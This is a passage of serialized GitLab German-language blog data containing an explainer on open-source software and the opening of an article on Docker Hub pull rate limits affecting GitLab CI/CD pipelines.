Geleisteten zu erfreuen, wenn das Ziel knapp verfehlt wurde.\n\nDies betont erneut, wie wichtig es ist, dass die Key Results auf praktischen Erfahrungen beruhen und kein theoretisches Konstrukt bleiben.\n",[1875],"collaboration",{"slug":1877,"featured":6,"template":682},"what-are-okrs","content:de-de:blog:what-are-okrs.yml","What Are Okrs","de-de/blog/what-are-okrs.yml","de-de/blog/what-are-okrs",{"_path":1883,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1884,"content":1890,"config":1894,"_id":1896,"_type":16,"title":1897,"_source":17,"_file":1898,"_stem":1899,"_extension":20},"/de-de/blog/what-is-open-source-software",{"ogTitle":1885,"schema":1886,"ogImage":1887,"ogDescription":1888,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":1889,"title":1885,"canonicalUrls":1889,"description":1888},"Open Source & OSS: Was es ist, was es dir bringt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Open Source & OSS: Was es ist, was es dir bringt\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n        \"datePublished\": \"2025-04-02\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749690483/Blog/Hero%20Images/blog-image-template-1800x945__11_.png","Der ultimative Open-Source-Software-Guide: OSS Definition, Beispiele, Projekte, Empfehlungen und Hilfe bei der Umsetzung.","https://about.gitlab.com/blog/what-is-open-source-software",{"title":1885,"description":1888,"authors":1891,"heroImage":1887,"date":1872,"body":1892,"category":1033,"tags":1893},[701],"# Open Source & OSS: Was es ist und was es dir bringt\n\nUm Open-Source-Software (OSS) ranken sich viele Missverständnisse und scheinbare Widersprüche.\n\nEinerseits stieg die Zahl der Unternehmen in Deutschland, die OSS nutzen, alleine zwischen 2019 und 2023 um knapp 15 %: über drei Viertel aller Betriebe nutzen heute zumindest teilweise Open-Source-Software.  Und sogar die weltweit führende Unternehmensberatung PWC urteilte angesichts dieser Entwicklung: „Open-Source-Software ist mittlerweile der Stand der Technik in der deutschen Wirtschaft.”\n\n> **Über 6,4 Mio. Builds pro Monat: So transformiert Siemens seine Softwareentwicklung mit GitLab** Über 40.000 Entwickler(innen) bei Siemens nutzen GitLab, um weltweit zusammenzuarbeiten und jeden Monat mehr als 6,4 Millionen Software-Versionen automatisch bereitzustellen. Erfahre, wie eine offene DevOps-Kultur und eine zentrale Plattform die Effizienz und Sicherheit steigern. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/siemens/)\n\nAndererseits aber fällt vielen Betrieben die praktische Einbindung von OSS in ihre IT-Struktur und Prozesse schwer. Wie auch Computer Weekly in einem ausführlichen Spezial zum Thema klarstellte: „Der Einsatz von OSS stellt insbesondere mittelständische Unternehmen häufig vor erhebliche Herausforderungen. Ohne [...] Initialinvestition wird jedes Open-Source-Projekt scheitern, ehe es begann.”\n\nDas freilich scheint der beliebten Vorstellung zu widersprechen, dass OSS sich gerade deswegen rechne, weil sie nichts koste.\n\nWie passen diese beiden Perspektiven zusammen? In diesem Artikel helfen wir dir, Antworten auf diese Frage zu finden. Wir erklären, welche Vorteile du aus OSS ziehen kannst, was dich OSS in der Praxis kostet und wie du Umsetzungsschwierigkeiten überwindest.\n\nZunächst aber:\n\n## Was bedeutet Open Source?\n\nÜblicherweise betrachten wir Open Source und Open-Source-Software als Synonyme. Aber die damit verbundene Idee – der freie Austausch bestimmter Technologien, Ideen und Konzepte – existiert schon sehr viel länger.\n\nEines der frühesten und am häufigsten angeführten Beispiele stammt aus den frühen Jahren der amerikanischen Automobilindustrie. Für einen gewissen Zeitraum beschlossen die Hersteller, neue Entwicklungen nicht zu patentieren. Der Gedanke dahinter war, dass es besser für alle Beteiligten sein könnte, wenn der Markt als Ganzes wächst. Auch heute arbeiten konkurrierende Automobilproduzenten zusammen an Open-Source-Projekten. \n\nIn den 1950ern und -60ern teilte auch IBM seine Software-Geheimnisse mit der Welt. Das war seinerzeit ein äußerst innovativer Schachzug. Doch muss man der Ehrlichkeit halber hinzufügen, dass Software damals als nahezu wertlos galt und das Unternehmen sein Geld mit dem Vermieten seiner Hardwarekomponenten verdiente.\n\nDiese frühen Open-Source-Beispiele haben eines gemeinsam: Statt die Ergebnisse der eigenen Forschungsarbeit vor anderen Betrieben zu schützen, wurden sie großzügig der Öffentlichkeit zur Verfügung gestellt.\n\n## Open-Source-Software: Definition\n\nIm Softwarebereich entfaltete der Open-Source-Gedanke eine Wirkung, die weit über die Grenzen der Branche hinausging.\n\nIn Open-Source-Projekten wie den Open-Source-Seeds – Saatgut, welches ganz gezielt nicht patentiert wird – lebt er bis heute in vielen Bereichen weiter (wohl auch deswegen, weil sich genetische Codes sehr leicht als Software betrachten lassen).\n\nDie  Definition von Open-Source-Software lautet:\n\n**Eine Software kann als Open Source bezeichnet werden, wenn ihr Quellcode offen geteilt wird und eingesehen und verändert werden kann. Anderen Programmierern steht es frei, abgeleitete Werke aus ihr zu erstellen oder die Software in ihre eigenen Projekte einzubauen.**\n\nDiese Open-Source-Software-Definition schließt noch nicht alle Details mit ein. Auch gibt es ein paar Feinheiten bei der Frage von Lizenzen zu beachten – auf diese werden wir später im Artikel noch genauer eingehen. Als Einstieg in die Thematik aber ist sie bereits sehr präzise und umfassend.\n\n## Ist OSS immer kostenlos?\n\nNein. Dieses Missverständnis rankt sich bis heute um die OSS-Thematik. Dabei wurde der Name „Open Source” bewusst gewählt, weil der ursprüngliche – „Free Software” - sich bereits als zu missverständlich erwiesen hatte.\n\nSo ist es durchaus denkbar, dass du ein Open-Source-Produkt zu einem Premium-Preis verkaufst. Solange du den Quellcode dabei offenlegst, ist das wichtigste Kriterium erfüllt.\n\nZugegebenermaßen wird Open-Source-Software in der Regel tatsächlich kostenfrei angeboten. Die meisten professionellen Anbieter basieren ihr Erlösmodell inzwischen nicht mehr auf dem Verkauf von Lizenzen, sondern auf Dienstleistungen rund um das Produkt.\n\nOpen-Source-Software versteht sich als ein Instrument für Transparenz und Innovation. Als solches folgt es auch weiterhin den Leitlinien der Free Software – auch wenn es inzwischen nicht mehr unter diesem Banner läuft.\n\nSehen wir uns die Entwicklung von Closed Software zur Free Software und von dort zur Open-Source-Philosophie ein wenig genauer an.\n\n## Von Closed Software zu Free Software\n\nFree Software ist ein Begriff aus den frühen 1980ern. Er entstand, da immer mehr Entwickler(innen) es als unethisch betrachteten, dass ihre Arbeit von großen Unternehmen oder sogar Bildungseinrichtungen wie Universitäten kommerziell verwertet wurde.\n\nAls IBM seine Betriebssysteme mit der Welt teilte, stand dahinter weder Idealismus noch Profitdenken. Es war eine Entscheidung, die nahezu nebenbei getätigt wurde und an die wohl nur wenige der Beteiligten allzu viele Gedanken verschwendeten. Doch schon bald war eine rege Industrie um den Verkauf von Softwarelizenzen zu teilweise extrem hohen Preisen entstanden. Diese kostenpflichtigen Lösungen, deren Quellcode als Betriebsgeheimnis gehütet und mit Patenten geschützt wurde, bezeichnet man als „Closed Software” oder auch als „proprietäre” (mit einem Besitzanspruch verbundene) Software.  \n\nDank des Einsatzes führender proprietärer Software erlangten finanzkräftige Betriebe oftmals einen deutlichen Wettbewerbsvorsprung. Kleine Konkurrenten mit guten Ideen, aber einem geringen Budget, gerieten demgegenüber ins Hintertreffen.\n\nFreie Software sollte allen zur Verfügung stehen. Durch das Freilegen des Source Codes wurde es möglich, die Funktionalität in eigene Software-Lösungen einzubauen und somit die Effizienz in der Software-Entwicklung zu steigern.\n\n## Von Free Software zu Open-Source-Software\n\nDe Begrifflichkeit von „Free Software” war von Anfang ein Problem. „Free” sollte sich auf die freie Verwendung beziehen, nicht auf eine kostenlose Nutzung. Um diesen Gedanken klarer hervorzuheben, entschied man sich schließlich für eine Umbenennung.\n\n„Open Source” drückt genau aus, worum es wirklich geht – nämlich um den Quellcode, der die Grundlage der Funktionalität bildet.  \n\nHeute koexistieren beide Konzepte und ihre Schwerpunkte unterscheiden sich marginal:  Die Free-Software-Community beispielsweise versteht sich als philosophisches und politisches Fundament für die gesamte Branche, auf der letzten Endes auch konkreter gefasste Konzepte wie OSS (Open-Source-Software) aufbauen.\n\n## Open-Source-Software: Beispiele\n\nEs gibt inzwischen unzählige Beispiele für die Verwendung von Open Source in der Entwicklung neuer Software.\n\nDas erste Beispiel, mit dem die meisten Privatnutzer(innen) konfrontiert wurden, war zweifelsohne der Firefox-Internetbrowser. Vor dem Markteintritt war der Markt zunächst von einem Browser dominiert worden, der kostenlos, aber nicht Open Source war (Altavista), dann von einem, der fest mit dem proprietären Microsoft Windows Betriebssystem verbunden war (Internet Explorer). Firefox bot eine hervorragende und für seine vielen Add-ons gepriesene Open-Source-Alternative.\n\nSeitdem ist Open Source zum dominanten Distributions- beziehungsweise Lizenzierungsmodell aufgestiegen. Das Online-Wirtschaftsmagazin Deutsche Startups hat für verschiedene Branchen eine hervorragende Übersicht zusammengestellt:\n\n**Entwicklungswerkzeuge:** Python, Ruby und OGC sind Beispiele für Open-Source-Tools, auf die Entwickler zurückgreifen können.\n\n**Datenbanken:** MySQL, die führende Datenbanklösung weltweit, ist als Open Source angelegt. Gleiches gilt auch für konkurrierende Produkte wie PostgreSQL oder MongoDB. Anverwandte Lösungen wie [Kubernetes](https://about.gitlab.com/de-de/solutions/kubernetes/) sind ebenfalls Open-Source-Software, genauso wie der Dateimanager FreeCommander.\nGrafikdesign und Multimedia: GIMP oder Blender sind hervorragende Tools für alle, denen lizenzpflichtige, proprietäre Produkte zu teuer sind. Der VLC-Mediaplayer stellt die Funktionalität der meisten Nicht-Open-Source-Player in den Schatten.\n\n**Webtechnologie:** Einige grundlegende Technologien wie PHP erfüllen die Kriterien von Open Source.\n\n**Anderes:** LibreOffice und OpenOffice sind komplett als Open-Source-Anwendungen angelegt. Das E-Mail-Verwaltungsprogramm Thunderbird läuft ebenfalls unter einer Open-Source-Lizenz.\n\n## Was erhoffen sich Unternehmen von Open-Source-Software?\n\nVielleicht denkst du auch darüber nach, die IT deines Unternehmens so weit wie möglich auf eine Open-Source-Basis zu stellen. Damit stehst du, wie bereits erwähnt, nicht alleine da. Genau genommen sind Firmen, die ausschließlich auf proprietäre Lösungen setzen, inzwischen zur Minderheit geworden.\n\nFür die meisten Unternehmen spielen dabei die folgenden Überlegungen eine zentrale Rolle:\n\nOpen-Source-Software kann dazu beitragen, deine IT-Kosten zu senken.\nOpen-Source-Software ist flexibel und kann somit einfacher an persönliche Bedürfnisse angepasst werden.\n\nOpen-Source-Software genießt den Ruf, weniger Speicherkapazität zu verbrauchen und somit die Leistungsfähigkeit des Systems zu verbessern.\n\nOpen-Source-Software gilt als innovativer und anpassungsfähiger an sich wandelnde Marktbedingungen.\n\nWie nehmen sich diese vermeintlichen Vorteile in der Praxis aus? Werfen wir einen genaueren Blick auf OSS als Faktor in deinem Unternehmen.\n\nEinen Punkt können wir dabei nicht genug betonen:\n\n## OSS ist kein Business-Modell\n\nWie erwähnt erhoffen sich Unternehmen viel von OSS und sind enttäuscht darüber, wenn sich diese Erwartungen nicht erfüllen. Vor allem die finanziellen Auswirkungen stellen sich oftmals ganz und gar nicht so dar, wie erwartet.\n\nAuf die genauen Gründe dafür gehen wir noch genauer ein. Du solltest dir aber immer vor Augen führen, dass Open Source an sich niemals ein Geschäftsmodell darstellt, nicht einmal für die Unternehmen, die Software unter einer Open-Source-Lizenz vertreiben!\n\nOpen-Source-Software ist ein Konzept, das aus der Informations- und Datenfreiheitsbewegung stammt. Es erleichtert bestimmte Methoden und Vorgehensweisen, macht andere aber möglicherweise komplexer und aufwendiger.\n\nDu kannst Open Source nutzen, um deinen Geschäftserfolg zu steigern. Die Konzepte dafür aber musst du immer noch selbst entwickeln.\n\n## Warum manche Unternehmen trotzdem auf proprietäre Lösungen setzen\n\nDer Siegeszug von Open Source ist unbestreitbar. Letzten Endes lässt er sich auch damit begründen, dass kostenlose Software nahezu immer eine unwiderstehliche Anziehungskraft ausübt; sogar dann, wenn es vollkommen klar ist, dass der „Preis Null” teilweise teuer erkauft werden muss.\n\nUnd dennoch lebt Closed Software auch weiterhin fort. Wie kommt es dazu?\n\nZum einen bleibt es ungemein zufriedenstellend, wenn ein Softwarepaket so umfassend ist, dass es nicht nur sofort benutzt werden kann, sondern gleich alle erforderlichen Komponenten mitliefert. In vielen Bereichen sind proprietäre Produkte schlicht professioneller und umfassender. LibreOffice und Open Office sind hervorragend. An Office aber reichen sie noch immer nicht heran.\n\nWas noch schwerer wiegt: Bei OSS kommt es leichter zu Kompatibilitätsproblemen. Das ist bei Dokumenten wie Word noch zu verschmerzen. Bei komplexeren Fällen aber kann es den Entwicklungsprozess langsamer, fehleranfälliger oder sogar unmöglich machen.\n\nUnd obwohl manche Closed-Software-Anbieter langsamer auf Kundenanfragen reagieren als ihre Open-Source-Gegenspieler, so zeichnen sich andere durch prompte Reaktionen und schnelle Updates aus. Trotzdem ist es immer beruhigend, wenn dir bei Schwierigkeiten ein direkter Ansprechpartner zur Verfügung steht (weswegen dieser Aspekt inzwischen auch bei vielen OSS-Produkten berücksichtigt wird).\n\n## Die wahren Vorteile von Open-Source-Software\n\nEinige der von Unternehmer(innen) erwarteten Vorteile von Open Source sind durchaus berechtigt: So erhöht OSS in der Tat die Transparenz der verwendeten Software. Da du den Quellcode einsehen kannst, kannst du ihn nun potentiell nach deinem Geschmack anpassen, erweitern oder kürzen. Du kannst ihn in Software-Pakete einbauen, die du selbst entwickelst und damit den Aufwand deutlich reduzieren.\n\nAuch zeichnen sich viele Open-Source-Programme durch eine hohe Innovationskraft aus. Die dahinter stehenden Communities sind dynamisch, offen und helfen Neulingen in der Regel gerne.\n\nDarüber hinaus sind noch die folgenden Vorteile zu nennen:\n\nDurch die ständige praktische Prüfung durch andere Anwender(innen) erhalten die Entwickler(innen) der Software einen stetigen Feedback-Strom, der als Ausgangspunkt für Updates oder neue Versionen dienen kann.\nLangfristige Anwendbarkeit: Kommerzielle, proprietäre Software wird oftmals so schnell wie eine schlecht laufende Fernsehserie wieder vom Markt genommen, wenn sich der Verkaufserfolg nicht einstellt. Open-Source-Projekte sind nicht an solche Erwägungen gebunden und können auch über die ursprünglichen Entwickler hinweg Bestand haben.\n\nIst OSS tatsächlich kostengünstiger? Wir meinen: Es kommt auf das konkrete Beispiel an, aber in der Regel schon.\n\nOSS verursacht zusätzliche Kosten durch die Notwendigkeit von Schulungeneiner genaueren Zusammenstellung der Komponenten sowie einer feinen Abstimmung zwischen den Bausteinen. Gerade bei sehr teuren Einzelplatzlizenzen aber bleibt OSS die günstigere Alternative.\n\n## Die drei Lizenzmodelle von Open-Source-Software\n\nAn dieser Stelle macht aus unserer Sicht ein kleiner Einschub Sinn. Denn es könnte inzwischen der Eindruck entstanden sein, dass OSS als offenes, oftmals kostenlos angebotenes Produkt im Widerspruch zu Lizenzmodellen steht.\n\nDem ist aber nicht so. In Wahrheit ist auch Open-Source-Software nahezu immer mit einer bestimmten Lizenz verbunden. Diese Lizenzen regeln die Weiterverwendung der Software und sind sogar von essenzieller Bedeutung dafür, dass die Grundgedanken der Open-Source-Bewegung auch tatsächlich gewahrt bleiben.\n\nDie folgenden drei Lizenzen sind üblich:\n\n**Copyleft-Lizenz:** Hierbei handelt es sich um die strengste Lizenz. Sie schützt die ursprünglichen Freiheiten der Software und zwingt alle Nutzer(innen) der Software, jedwede Folgeprodukte unter den selben Lizenzbedingungen zu vertreiben oder anzubieten.\n\n**Beschränkte Copyleft-Lizenzen:** Bei manchen Produkten kann die Lizenz der Bearbeitungen teilweise abweichen. Dies räumt den Anwender(inne)n und Entwickler(inne)n mehr Freiheiten ein.\n\n**Permissive Lizenzen:** Kommen ohne Anweisungen aus. Was für OSS bedeutet, dass es den Bearbeiter(innen) frei steht, welche Lizenzbedingungen für die Ergebnisse ihrer Arbeit gelten sollen.\n\nBei allen Lizenzen kannst du für deine Produkte und deine Arbeit Geld verlangen. Darauf gehen wir  gleich noch ein.\n\n## Open Source & Agile-Methodik\n\nEin wichtiger Grund, warum Open Source in der Softwareentwicklung nahezu sofort auf ein so breites und positives Echo gestoßen ist, liegt in seiner Nähe zur agilen Methodik.\n\nBei [Agile Delivery](https://about.gitlab.com/de-de/solutions/agile-delivery/) steht ein Prozess im Fokus, bei dem durch das fortlaufende Einholen von Daten und einer Formalisierung des Austauschs im Team schnell und regelmäßig funktionierende Prototypen entwickelt werden.Diese dienen dann wiederum als Basis für weitere Optimierungen.\n\nIn beiden Ansätzen stehen Transparenz, Offenheit, schnelles Agieren, Teamarbeit, Kundenorientierung und ein schneller Weg zum fertigen Produkt im Mittelpunkt. Im Gegensatz zu proprietären Lösungen sind Open-Source-Produkte niemals wirklich fertig, sondern immer nur ein Zwischenstand.\n\nDu wirst feststellen, dass es dir deutlich leichter fällt, OSS in deinem Betrieb einzuführen, wenn du bereits Erfahrungen mit agilen Methoden gemacht hast.\n\n## Fallbeispiel 1: Linux\n\nDie möglicherweise bekannteste Open-Source-Software überhaupt ist Linux.\n\nLinux ist zu 100 % Open Source und der Quellcode ist somit frei einsehbar. In einer faszinierenden Entwicklung hat sich hieraus eine Vielzahl sogenannter „Distributionen” herausgebildet. Darunter versteht man eine bestimmte Konfiguration von Linux mit einer eigenen Anwendungsoberfläche und einer Palette zugehöriger Tools.\n\nLinux weist gegenüber Windows eine Vielzahl genau derjenigen Vorteile auf, die wir oben genannt haben: Es ist deutlich effizienter/schneller, flexibler und günstiger. Gerade seine einzigartige Anpassungsfähigkeit hat ihm zur Führerschaft im Serverbereich verholfen.\n\nGleichzeitig aber ist es auch komplizierter, sowohl was die Installation und den praktischen Einsatz angeht, und auf ein gut vorbereitetes IT-Team angewiesen.\n\nDas Besondere an Linux ist, dass die verschiedenen Distributionen unter unterschiedlichen Lizenzen vertrieben werden. So gibt es komplett kostenlose und sehr minimalistisch gehaltene Versionen; Varianten, die auf innovative Entwickler zugeschnitten sind; und zu guter Letzt Komplettpakete, die genauso komfortabel und komplett sind wie kommerzielle Closed Software (und entsprechend auch deutlich teurer).\n\nLinux ist ein Paradebeispiel dafür, wie vielseitig Open Source in der Praxis sein kann.\n\n## Fallbeispiel 2: GitLab\n\nAuch GitLab wurde von Anfang an und aus Überzeugung als Open-Source-Projekt angelegt.\n\nWas bedeutet OSS für uns konkret?\n\n*Der Quellcode von GitLab wurde unter einer MIT Open-Source-License veröffentlicht und kann frei eingesehen werden.\nWir freuen uns immer über Vorschläge zu Verbesserungen oder Erweiterungen. Im [GitLab-Forum](https://forum.gitlab.com/c/community/gitlab-for-open-source/49) findest du darüber hinaus andere Entwickler(innen), mit denen du dich spezifisch zu Open-Source-Themen austauschen kannst. \nMit dem GitLab-Development-Kit bieten wir eine Möglichkeit an, selbst aktiv den Quellcode an persönliche Präferenzen und Bedürfnisse anzupassen.\nIn unseren Repositories liegen unzählige Open-Source-Projekte.\nMit dem GitLab-for-Open-Source-Program unterstützen wir das Anlegen neuer OSS-Projekte, von denen die gesamte Community profitiert.*\n\nBei GitLab ist Open Source keine trockene Theorie. Beeindruckend ist zum Beispiel wie sich der Content-Management-Anbieter Drupal zu seinem 20-jährigen Jubiläum neu erfand und seine Dienstleistungen mit GitLab für neue Zielgruppen öffnete. Mehr dazu findest du in unserem Artikel über GitLab-Open-Source-Case-Studies.\n\nGerne stellen wir dir eine kostenlose [GitLab-Test-Lizenz](https://gitlab.com/-/trials/new) zur Verfügung. \n\n## OSS: Herausforderungen bei der Umsetzung\n\nAus der Sicht von Computer Weekly liegt der Hauptgrund dafür, dass viele Open-Source-Projekte in der Umsetzung scheitern, darin, dass nicht ausreichend Expertise im Unternehmen vorhanden ist.\n\nAus der Sicht des Magazins „müssen Unternehmen bereits vorab Zeit und Ressourcen investieren, um die erforderlichen Fähigkeiten und Kenntnisse aufzubauen oder externe Unterstützung in Anspruch zu nehmen – ob nun über einen Partner oder das Recruiting neuer Fachkräfte.”\n\nComputer Weekly betont auch, dass einer der potenziellen Vorteile von OSS – die Dynamik der Community und die Vielzahl von Lösungen, die nahezu täglich erscheinen – für manche Betriebe zu einem Nachteil werden kann. Beispielsweise, wenn die Optionen nicht mehr überschaubar sind und vor allem die Zusammenstellung der richtigen Komponenten sich als zu komplex und aufwändig gestaltet.\n\nDie Expertin Marieke Merkle empfiehlt deswegen ein Risk Mapping: \n\n„Bei einem solchen werden die Risiken identifiziert, welche mit dem konkreten im Unternehmen bereits erfolgenden oder geplanten Einsatz von Open-Source-Software verbunden sind. Auf dieser Grundlage kann ein Compliance-Prozess zunächst für denjenigen Einsatzbereich aufgebaut werden, bei welchem die größten Risiken bestehen. Im Anschluss kann die Compliance-Struktur sodann auf weitere Einsatzbereiche von Open-Source-Software ausgedehnt werden.”\n\n## Wie sieht die Zukunft von OSS aus?\n\nVorhersagen im IT-Bereich sind generell schwierig. In diesem Fall aber deuten sich doch einige klare Trends an:\n\nOSS wird weiter alle Bereiche der Industrie erreichen. Chief Visionary Officer der Firma Telmekom, Sergio Vemic, sagt dazu: „Ich glaube, dass Open Source in Zukunft immer wichtiger wird. Immer mehr Menschen werden sich damit beschäftigen, werden sie weiterentwickeln und pushen. Auch Firmen, die heute proprietäre Software anbieten, werden sich überlegen, diese künftig vielleicht als Open Source zu veröffentlichen.”\n\nOSS wird einen erheblichen Schub erfahren durch die weltweite Bevorzugung von Open-Source-Produkten im öffentlichen Sektor. Die Europäische Union nimmt hier bereits eine Vorreiterrolle ein.\n\nIn einigen Schlüsselindustrien wird OSS sich zu einer ernstzunehmenden Alternative zu Closed Software entwickeln. Dazu zählen zum Beispiel Edge Computing, [DevOps](https://about.gitlab.com/de-de/solutions/devops-platform/), Container-Orchestrierung sowie natürlich KI.\n\nGleichzeitig sehen einige Experten, dass bei vielen Investoren eine zunehmende Skepsis besteht, ob diese Projekte tatsächlich eine nennenswerte Rendite abwerfen können. Wir haben es bereits erwähnt: Open Source ist kein Business-Modell – aber es kann gelegentlich durchaus einem lohnenswerten Geschäft im Weg stehen! Es bleibt also weiterhin spannend. \n\n## Was sind die Potentiale von OSS und KI?\n\nKünstliche Intelligenz und Open-Source-Software sind die vielleicht stärksten aktuellen Trends im Bereich der Softwareentwicklung. So kann es kaum verwundern, dass sich eine gemeinsame Betrachtung lohnt.\n\nDas Institut für Innovation und Technik in Berlin stellt hierzu die alles entscheidende Frage: „Was bedeutet Open Source für Künstliche Intelligenz (KI)?” Die Analyse geht auf einige faszinierende Fälle ein, in denen Künstliche Intelligenz in der Open-Source-Software-Entwicklung bestimmte Projekte ermöglicht  hat, die in einem proprietär-kommerziellen Umfeld schlicht nicht zustande gekommen wären. Dazu gehört unter anderem ein Übersetzungs-Tool für verschiedene afrikanische Sprachen. \n\nSchon heute gibt es auch für Entwickler eine Vielzahl von OSS-Lösungen mit einem signifikanten KI-Anteil. Dazu gehören FauxPilot (Entwicklungstool), DALL-E (Text-to-Word-Anwendung) oder PaddleNLP (NLP-Bibliothek). Weitere KI- & OSS-Beispiele finden sich in einem Artikel der Computerwoche. \n\nMan kann aber auch fragen: Was bedeutet Künstliche Intelligenz für Open Source? Avi Press, CEO von Scarf, einem Unternehmen an der Schnittstelle zwischen KI, OSS und Kund(inn)en, meint dazu: \n\n„Ein zunehmender Anteil des (Open-Source- und sonstigen) Codes, auf den wir uns verlassen, wird von KI und nicht von Menschen geschrieben werden ... und wir wissen noch nicht, wie wir mit all den Auswirkungen einer Welt umgehen sollen, in der Menschen nicht die einzigen Hauptakteure sind.”\n\nEines steht fest: KI und OSS werden beide wachsen und sie werden gemeinsam wachsen. Die Ergebnisse aber werden zumindest teilweise das, was wir uns vorstellen können, um ein Vielfaches übersteigen.\n\n## Werden wir jemals ganz ohne Closed Software auskommen?\n\nDiese Vermutung bietet sich angesichts der oben genannten Entwicklungen und Tendenzen geradezu an.\n\nSicher ist, dass OSS entweder als eigenständiges Produkt oder Komponente einer größeren Software-Architektur an Bedeutung gewinnen wird. Genau so sicher ist aber, dass es auch in Zukunft Bereiche geben wird, in denen Unternehmen auf Closed Software setzen werden:\n\nTechnologien, mit denen sich in einem proprietären Umfeld höhere Gewinne erzielen lassen.\nTechnologien, die selbst entwickelt und nun intern genutzt werden und die einen signifikanten Vorsprung gegenüber der Konkurrenz gewährleisten.\nTechnologien, bei denen ein extrem hohes Maß an [Sicherheit / Security Compliance](https://about.gitlab.com/de-de/solutions/security-compliance/) gefordert ist. Es scheint unwahrscheinlich, dass Banken in absehbarer Zeit auf einen breiten oder gar exklusiven Einsatz von OSS setzen werden.\n\nEs gibt allerdings bereits Bemühungen, Schwachpunkte von OSS systematisch auszumerzen. Wenn diese greifen, steht einer noch weitflächigeren Verwendung von Open Source auch in sicherheitskritischen Industrien nichts mehr im Weg.",[552,913],{"slug":1895,"featured":6,"template":682},"what-is-open-source-software","content:de-de:blog:what-is-open-source-software.yml","What Is Open Source Software","de-de/blog/what-is-open-source-software.yml","de-de/blog/what-is-open-source-software",{"_path":1901,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1902,"content":1908,"config":1916,"_id":1918,"_type":16,"title":1919,"_source":17,"_file":1920,"_stem":1921,"_extension":20},"/de-de/blog/prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd",{"title":1903,"description":1904,"ogTitle":1903,"ogDescription":1904,"noIndex":6,"ogImage":1905,"ogUrl":1906,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1906,"schema":1907},"Welche Auswirkungen die Ratenbegrenzungen für Docker Hub auf GitLab CI/CD haben","Erfahre, wie sich die bevorstehenden Ratenbegrenzungen für Pulls von Docker Hub auf GitLab-Pipelines auswirken und was du tun kannst, um Störungen zu vermeiden.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662488/Blog/Hero%20Images/blog-image-template-1800x945__3_.png","https://about.gitlab.com/blog/prepare-now-docker-hub-rate-limits-will-impact-gitlab-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Welche Auswirkungen die Ratenbegrenzungen für Docker Hub auf GitLab CI/CD haben\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-03-24\",\n      }\n                  ",{"title":1903,"description":1904,"authors":1909,"heroImage":1905,"date":1911,"body":1912,"category":1913,"tags":1914,"updatedDate":1915},[1910],"Tim Rizzi","2025-03-24","Am 1. April 2025 hat Docker neue [Ratenbegrenzungen für Pulls](https://docs.docker.com/docker-hub/usage/) für Docker Hub eingeführt, die sich erheblich auf CI/CD-Pipelines in der gesamten Branche auswirken können, einschließlich derer, die auf GitLab ausgeführt werden. Die gravierendste Änderung ist die Begrenzung auf 10 Pulls pro Stunde für nicht angemeldete Benutzer(innen).\n\n## Was ändert sich?\n\nAb dem 1. April 2025 hat Docker die folgenden Ratenbegrenzungen für Pulls durchgesetzt:\n\n| Benutzertyp | Ratenbegrenzung für Pulls pro Stunde | Anzahl der öffentlichen Repositories | Anzahl der privaten Repositories |\n|-----------|--------------------------|-------------------------------|--------------------------------|\n| Business, Team, Pro (authentifiziert) | Unbegrenzt (angemessene Nutzung) | Unbegrenzt | Unbegrenzt |\n| Persönlich (authentifiziert) | 100 | Unbegrenzt | Maximal 1 |\n| Nicht angemeldete Benutzer(innen) | 10 pro IPv4-Adresse oder IPv6/64-Subnetz | Nicht zutreffend | Nicht zutreffend |\n\n\u003Cp>\u003C/p>\nDies ist besonders wichtig, weil:\n\n* Der Abhängigkeits-Proxy von GitLab pullt derzeit als nicht angemeldeter Benutzer von Docker Hub.\n* Die meisten CI/CD-Pipelines, die den Abhängigkeits-Proxy nicht verwenden, pullen als nicht angemeldete Benutzer direkt von Docker Hub.\n* Auf gehosteten Runnern für GitLab.com kann es vorkommen, dass sich mehrere Benutzer(innen) die gleiche IP-Adresse oder das gleiche Subnetz teilen. Somit unterliegen sie gemeinsam dieser Begrenzung.\n\n## Wie sich dies auf GitLab-Benutzer(innen) auswirkt\n\n**Auswirkungen auf direkte Pulls von Docker Hub**\n\nWenn deine CI/CD-Pipelines Images direkt und ohne Authentifizierung von Docker Hub pullen, ist die Anzahl auf 10 Pulls pro Stunde und IP-Adresse begrenzt. Bei Pipelines, die häufig oder projektübergreifend mit derselben Runner-Infrastruktur ausgeführt werden, wird dieser Grenzwert schnell erreicht und es kommt zu Pipeline-Fehlern.\n\n**Auswirkungen auf den Abhängigkeits-Proxy von GitLab**\n\nMit dem Abhängigkeits-Proxy von GitLab kannst du Docker-Images in GitLab zwischenspeichern, um Pipelines zu beschleunigen und externe Abhängigkeiten zu reduzieren. Die aktuelle Implementierung pullt allerdings als nicht angemeldeter Benutzer von Docker Hub. Das bedeutet, dass auch hier der Grenzwert von 10 Pulls pro Stunde gilt.\n\n**Auswirkungen auf gehostete Runner**\n\nGehostete Runner auf GitLab.com verwenden den [Pull-Through-Cache von Google Cloud](https://cloud.google.com/artifact-registry/docs/pull-cached-dockerhub-images?hl=de). Dieser spiegelt häufig gepullte Images, sodass Ratenbegrenzungen vermieden werden. Images von Jobs, die in deiner `.gitlab-ci.yml`-Datei als `image:` oder `services:` definiert sind, sind von Ratenbegrenzungen nicht betroffen.\n\nEtwas schwieriger wird es, wenn Images innerhalb der Runner-Umgebung gepullt werden. Der häufigste Anwendungsfall für das Pullen von Images während der Laufzeit eines Runners ist die Erstellung eines Images mit Docker-in-Docker oder Kaniko. In diesem Szenario wird das in deiner `Dockerfile` definierte Docker-Hub-Image direkt aus dem Docker Hub gepullt und ist wahrscheinlich von den Ratenbegrenzungen betroffen.\n\n## Wie GitLab reagiert\n\nWir arbeiten aktiv an Lösungen, um diese Herausforderungen zu bewältigen:\n\n* **Authentifizierung des Abhängigkeits-Proxy:** Wir haben die Unterstützung für die Docker-Hub-Authentifizierung im 